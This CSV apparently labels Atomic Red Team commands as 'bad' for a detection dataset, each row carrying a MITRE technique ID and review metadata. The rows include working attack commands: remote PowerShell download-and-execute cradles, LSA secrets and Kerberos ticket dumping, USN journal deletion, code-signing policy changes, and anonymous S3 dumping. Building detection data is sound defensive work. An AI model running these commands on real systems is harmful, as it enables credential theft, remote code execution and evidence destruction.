0d8dea6ff12a1562215ce231,"reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v GlobalFlag /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v ReportingMode /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v MonitorProcess /f >nul 2>&1","reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v GlobalFlag /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v ReportingMode /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v MonitorProcess /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.012/T1546.012.yaml,IFEO Global Flags,T1546.012,"[""T1546.012""]",windows,0.55,True,"Leverage Global Flags Settings
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
469a0129d8d2e1d05f7a7b9a,"$SilentProcessExit = ""HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"" Remove-Item $SilentProcessExit -force $registryPath = ""HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"" Remove-Item $registryPath -force","$SilentProcessExit = ""HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"" Remove-Item $SilentProcessExit -force $registryPath = ""HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"" Remove-Item $registryPath -force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.012/T1546.012.yaml,GlobalFlags in Image File Execution Options,T1546.012,"[""T1546.012""]",windows,0.55,True,"The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.
Upon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. 
Upon successful execution, powershell will modify the registry and sp",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fe0b3b233ac0992e0664f70,copy \\#{remote}\C$\#{share_file} %TEMP%\#{local_file},copy \\#{remote}\C$\#{share_file} %TEMP%\#{local_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1039/T1039.yaml,Copy a sensitive File over Administrative share with copy,T1039,"[""T1039""]",windows,0.9,False,"Copy from sensitive File from the c$ of another LAN computer with copy cmd
https://twitter.com/SBousseaden/status/1211636381086339073",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3bb8204511fba3a644ac5bc3,del \\#{remote}\C$\#{share_file} del %TEMP%\#{local_file},del \\#{remote}\C$\#{share_file} del %TEMP%\#{local_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1039/T1039.yaml,Copy a sensitive File over Administrative share with copy,T1039,"[""T1039""]",windows,0.55,True,"Copy from sensitive File from the c$ of another LAN computer with copy cmd
https://twitter.com/SBousseaden/status/1211636381086339073",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
605e6c081f30dafe310d9a89,"copy-item -Path ""\\#{remote}\C$\#{share_file}"" -Destination ""$Env:TEMP\#{local_file}""","copy-item -Path ""\\#{remote}\C$\#{share_file}"" -Destination ""$Env:TEMP\#{local_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1039/T1039.yaml,Copy a sensitive File over Administrative share with Powershell,T1039,"[""T1039""]",windows,0.9,False,"Copy from sensitive File from the c$ of another LAN computer with powershell
https://twitter.com/SBousseaden/status/1211636381086339073",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0f10d9b705548672a1753f63,"Remove-Item -Path ""\\#{remote}\C$\#{share_file}"" Remove-Item -Path ""$Env:TEMP\#{local_file}""","Remove-Item -Path ""\\#{remote}\C$\#{share_file}"" Remove-Item -Path ""$Env:TEMP\#{local_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1039/T1039.yaml,Copy a sensitive File over Administrative share with Powershell,T1039,"[""T1039""]",windows,0.55,True,"Copy from sensitive File from the c$ of another LAN computer with powershell
https://twitter.com/SBousseaden/status/1211636381086339073",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7cde0bd8f52df04f2b65626a,"dsquery * -filter ""(objectClass=trustedDomain)"" -attr *","dsquery * -filter ""(objectClass=trustedDomain)"" -attr *",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Windows - Discover domain trusts with dsquery,T1482,"[""T1482""]",windows,0.9,False,"Uses the dsquery command to discover domain trusts.
Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1f5f3d937b1c3194ae71b228,nltest /domain_trusts nltest /trusted_domains,nltest /domain_trusts nltest /trusted_domains,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Windows - Discover domain trusts with nltest,T1482,"[""T1482""]",windows,0.9,False,"Uses the nltest command to discover domain trusts.
Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
This technique has been used by the Trickbot malware family.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6b854efb177b38d898f67abc,"Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"" Get-NetDomainTrust Get-NetForestTrust Get-ADDomain Get-ADGroupMember Administrators -Recursive ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()","Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"" Get-NetDomainTrust Get-NetForestTrust Get-ADDomain Get-ADGroupMember Administrators -Recursive ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Powershell enumerate domains and forests,T1482,"[""T1482""]",windows,0.9,False,"Use powershell to enumerate AD information.
Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5254c46ba349daee7324c74d,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=organizationalUnit) #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=organizationalUnit) #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Adfind - Enumerate Active Directory OUs,T1482,"[""T1482""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e153976df94ae23e6b493b2e,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -gcb -sc trustdmp","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -gcb -sc trustdmp",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Adfind - Enumerate Active Directory Trusts,T1482,"[""T1482""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5fc3cc3999283c48a35527cf,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainTrust -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Get-DomainTrust with PowerView,T1482,"[""T1482""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainTrust to identify domain trusts. Upon execution, progress and info about trusts within the domain being scanned will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d2f1e03588896600bd437fb5,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,Get-ForestTrust with PowerView,T1482,"[""T1482""]",windows,0.9,False,"Utilizing PowerView, run Get-ForestTrust to identify forest trusts. Upon execution, progress and info about forest trusts within the domain being scanned will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
40f211eb122fd1236b59b906,"""#{trufflesnout_path}"" forest -n #{domain} ""#{trufflesnout_path}"" domain -n #{domain}","""#{trufflesnout_path}"" forest -n #{domain} ""#{trufflesnout_path}"" domain -n #{domain}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1482/T1482.yaml,TruffleSnout - Listing AD Infrastructure,T1482,"[""T1482""]",windows,0.9,False,"Iterative AD discovery toolkit for offensive operators. Situational awareness and targeted low noise enumeration. Preference for OpSec.- https://github.com/dsnezhkov/TruffleSnout
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2d8833f02dc868d09c2f73e,bcdedit /set testsigning on,bcdedit /set testsigning on,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.006/T1553.006.yaml,Code Signing Policy Modification,T1553.006,"[""T1553.006""]",windows,0.9,False,"Allows adversaries to subvert trust controls by modifying the code signing policy, enabling the execution of unsigned drivers.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8a9237c13b7c250a89a6eec,bcdedit /set testsigning off,bcdedit /set testsigning off,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.006/T1553.006.yaml,Code Signing Policy Modification,T1553.006,"[""T1553.006""]",windows,0.55,True,"Allows adversaries to subvert trust controls by modifying the code signing policy, enabling the execution of unsigned drivers.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
faba5ae735a8550796e3f5e9,"pnputil.exe /add-driver ""#{driver_inf}""","pnputil.exe /add-driver ""#{driver_inf}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547/T1547.yaml,Add a driver,T1547,"[""T1547""]",windows,0.9,False,"Install a driver via pnputil.exe lolbin
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
74b33cd08bc31b58bfb150e7,pnputil.exe -i -a #{driver_path},pnputil.exe -i -a #{driver_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547/T1547.yaml,Driver Installation Using pnputil.exe,T1547,"[""T1547""]",windows,0.9,False,"pnputil.exe is a native command-line utility in Windows to install drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c9915c3d047649cd4649396,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}"" /v Name /t REG_SZ /d ""#{dll_inf}"" /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}"" /v Name /t REG_SZ /d ""#{dll_inf}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547/T1547.yaml,Leverage Virtual Channels to execute custom DLL during successful RDP session,T1547,"[""T1547""]",windows,0.9,False,"Virtual Channels can be leveraged to alter RDP behavior using dedicated Addins.The mechanism is implemented using DLLs which can be executed during RDP session automatically. 
The DLLs are loaded in the host system only after successful connection is established with the remote system.
Once the test is run, amsi.dll will be loaded on the host system during successful RDP session.
Blog :https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-virtual-channels?redirectedfrom=MSDN",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed9ac1835e050683f2e24122,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}"" /f","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\Addins\#{Subkey_Added}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547/T1547.yaml,Leverage Virtual Channels to execute custom DLL during successful RDP session,T1547,"[""T1547""]",windows,0.55,True,"Virtual Channels can be leveraged to alter RDP behavior using dedicated Addins.The mechanism is implemented using DLLs which can be executed during RDP session automatically. 
The DLLs are loaded in the host system only after successful connection is established with the remote system.
Once the test is run, amsi.dll will be loaded on the host system during successful RDP session.
Blog :https://learn.microsoft.com/en-us/windows/win32/termserv/terminal-services-virtual-channels?redirectedfrom=MSDN",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7cb07538c652ae7c04326bf1,"Set-Location ""#{working_dir}"" Stop-Process -Name chrome -Force Remove-Item .\chrome.zip, .\chrome-win, .\extension, .\extension.zip -Recurse -Force Set-Variable ProgressPreference Continue","Set-Location ""#{working_dir}"" Stop-Process -Name chrome -Force Remove-Item .\chrome.zip, .\chrome-win, .\extension, .\extension.zip -Recurse -Force Set-Variable ProgressPreference Continue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1176/T1176.yaml,Google Chrome Load Unpacked Extension With Command Line,T1176,"[""T1176""]",windows,0.55,True,"This test loads an unpacked extension in Google Chrome with the `--load-extension` parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more.

References:
https://attack.mitre.org/techniques/T1176/
https://securityintelligence.com/posts/grandoreiro-malware-now-targeting",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0de502aab45508b09bfeff57,aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name},aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1530/T1530.yaml,AWS - Scan for Anonymous Access to S3,T1530,"[""T1530""]",iaas:aws,0.9,False,"Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0dc56d90f7d80d07d7c87cc,aws s3 rb s3://#{s3_bucket_name} --force rm -rf /tmp/#{s3_bucket_name},aws s3 rb s3://#{s3_bucket_name} --force rm -rf /tmp/#{s3_bucket_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1530/T1530.yaml,AWS - Scan for Anonymous Access to S3,T1530,"[""T1530""]",iaas:aws,0.55,True,"Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b04937fc9039f8ea6ac3e2a,"Remove-Item -Path ""#{output_folder}"" -Recurse -Force -erroraction silentlycontinue Write-Output ""Removed #{output_folder}""","Remove-Item -Path ""#{output_folder}"" -Recurse -Force -erroraction silentlycontinue Write-Output ""Removed #{output_folder}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1530/T1530.yaml,Azure - Dump Azure Storage Account Objects via Azure CLI,T1530,"[""T1530""]",iaas:azure,0.55,True,"This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 ""Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI"". When created manually, it must contain the columns ""ResourceGroup"",""StorageAccountName"", ""FileShareName"", ""ContainerName"", ""BlobName"".

Requirements:
    - The test is intended to be executed in interactive mode (with -Interactive parame",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8164c91366f9b0cc1f814ea3,"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} ""#{input_source_code}"" #{output_file_name}","C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} ""#{input_source_code}"" #{output_file_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1010/T1010.yaml,List Process Main Windows - C# .NET,T1010,"[""T1010""]",windows,0.9,False,"Compiles and executes C# code to list main window titles associated with each process.

Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b7dfb398d60a855d6107d153,del /f /q /s #{output_file_name} >nul 2>&1,del /f /q /s #{output_file_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1010/T1010.yaml,List Process Main Windows - C# .NET,T1010,"[""T1010""]",windows,0.55,True,"Compiles and executes C# code to list main window titles associated with each process.

Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddc7361bec9319f24f5ec96b,Remove-Item -Path $outputZip\data.zip -Force,Remove-Item -Path $outputZip\data.zip -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1005/T1005.yaml,Search files of interest and save them to a single zip file (Windows),T1005,"[""T1005""]",windows,0.55,True,"This test searches for files of certain extensions and saves them to a single zip file prior to extraction.                              
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68b81936fcfabd0f768bbb8b,"cd $HOME curl -O #{remote_url}/art curl -O #{remote_url}/gta.db curl -O #{remote_url}/sqlite_dump.sh chmod +x sqlite_dump.sh find . ! -executable -exec bash -c 'if [[ ""$(head -c 15 {} | strings)"" == ""SQLite format 3"" ]]; then echo ""{}""; ./sqlite_dump.sh {}; fi' \;","cd $HOME curl -O #{remote_url}/art curl -O #{remote_url}/gta.db curl -O #{remote_url}/sqlite_dump.sh chmod +x sqlite_dump.sh find . ! -executable -exec bash -c 'if [[ ""$(head -c 15 {} | strings)"" == ""SQLite format 3"" ]]; then echo ""{}""; ./sqlite_dump.sh {}; fi' \;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1005/T1005.yaml,Find and dump sqlite databases (Linux),T1005,"[""T1005""]",linux,0.9,False,"An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6de4fc2d7276f253d3103d53,rm -f $HOME/.art rm -f $HOME/gta.db rm -f $HOME/sqlite_dump.sh,rm -f $HOME/.art rm -f $HOME/gta.db rm -f $HOME/sqlite_dump.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1005/T1005.yaml,Find and dump sqlite databases (Linux),T1005,"[""T1005""]",linux,0.55,True,"An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c89bfbe7c5a40ad9d896a07,"osascript -e 'tell application ""Finder""' -e 'set destinationFolderPath to POSIX file ""#{destination_path}""' -e 'set notesFolderPath to (path to home folder as text) & ""Library:Group Containers:group.com.apple.notes:""' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file ""NoteStore.sqlite"", file ""NoteStore.sqlite-shm"", file ""NoteStore.sqlite-wal""} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'","osascript -e 'tell application ""Finder""' -e 'set destinationFolderPath to POSIX file ""#{destination_path}""' -e 'set notesFolderPath to (path to home folder as text) & ""Library:Group Containers:group.com.apple.notes:""' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file ""NoteStore.sqlite"", file ""NoteStore.sqlite-shm"", file ""NoteStore.sqlite-wal""} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1005/T1005.yaml,Copy Apple Notes database files using AppleScript,T1005,"[""T1005""]",macos,0.9,False,"This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
764afe95db2e54a657fe1b31,"rm ""#{destination_path}/NoteStore.sqlite*""","rm ""#{destination_path}/NoteStore.sqlite*""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1005/T1005.yaml,Copy Apple Notes database files using AppleScript,T1005,"[""T1005""]",macos,0.55,True,"This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b72756dda75c47f85f0134c3,"""#{psexec_exe}"" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y","""#{psexec_exe}"" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.004/T1003.004.yaml,Dumping LSA Secrets,T1003.004,"[""T1003.004""]",windows,0.9,False,"Dump secrets key from Windows registry
When successful, the dumped file will be written to $env:Temp\secrets.
Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4007a93976fbf1950e3d3205,del %temp%\secrets >nul 2> nul,del %temp%\secrets >nul 2> nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.004/T1003.004.yaml,Dumping LSA Secrets,T1003.004,"[""T1003.004""]",windows,0.55,True,"Dump secrets key from Windows registry
When successful, the dumped file will be written to $env:Temp\secrets.
Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5be6dc8ebf2d3661c52273f,Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1'),Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1'),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.004/T1003.004.yaml,Dump Kerberos Tickets from LSA using dumper.ps1,T1003.004,"[""T1003.004""]",windows,0.9,False,"This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type.
If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session.
Ref: https://github.com/MzHmO/PowershellKerberos/
Author of dumper.ps1: Michael Zhmaylo (@MzHmO)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
65a98ebbc907f5d1f2ae08dc,fsutil usn deletejournal /D C:,fsutil usn deletejournal /D C:,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070/T1070.yaml,Indicator Removal using FSUtil,T1070,"[""T1070""]",windows,0.9,False,"Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c3d58eba46ad7ce04b233eb,fsutil usn createjournal m=1000 a=100 c:,fsutil usn createjournal m=1000 a=100 c:,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070/T1070.yaml,Indicator Removal using FSUtil,T1070,"[""T1070""]",windows,0.55,True,"Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume. Upon execution, no output
will be displayed. More information about fsutil can be found at https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3818e2fccf3d657592f88d49,"if (-not (Test-Path ""#{file_to_manipulate}"")) { New-Item ""#{file_to_manipulate}"" -Force } echo ""1234567890"" > ""#{file_to_manipulate}"" fsutil file setZeroData offset=0 length=#{file_data_length} ""#{file_to_manipulate}""","if (-not (Test-Path ""#{file_to_manipulate}"")) { New-Item ""#{file_to_manipulate}"" -Force } echo ""1234567890"" > ""#{file_to_manipulate}"" fsutil file setZeroData offset=0 length=#{file_data_length} ""#{file_to_manipulate}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070/T1070.yaml,Indicator Manipulation using FSUtil,T1070,"[""T1070""]",windows,0.9,False,"Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output
will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file
- https://tria.ge/230601-x8x6bsgb24/behavioral2
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0fe2fa33858a235051fedeaf,"rm ""#{file_to_manipulate}""","rm ""#{file_to_manipulate}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070/T1070.yaml,Indicator Manipulation using FSUtil,T1070,"[""T1070""]",windows,0.55,True,"Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output
will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file
- https://tria.ge/230601-x8x6bsgb24/behavioral2
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
90c60c0f4e022ad3c63d5487,gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email},gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.004/T1078.004.yaml,Creating GCP Service Account and Service Account Key,T1078.004,"[""T1078.004""]","google-workspace,iaas:gcp",0.9,False,"GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
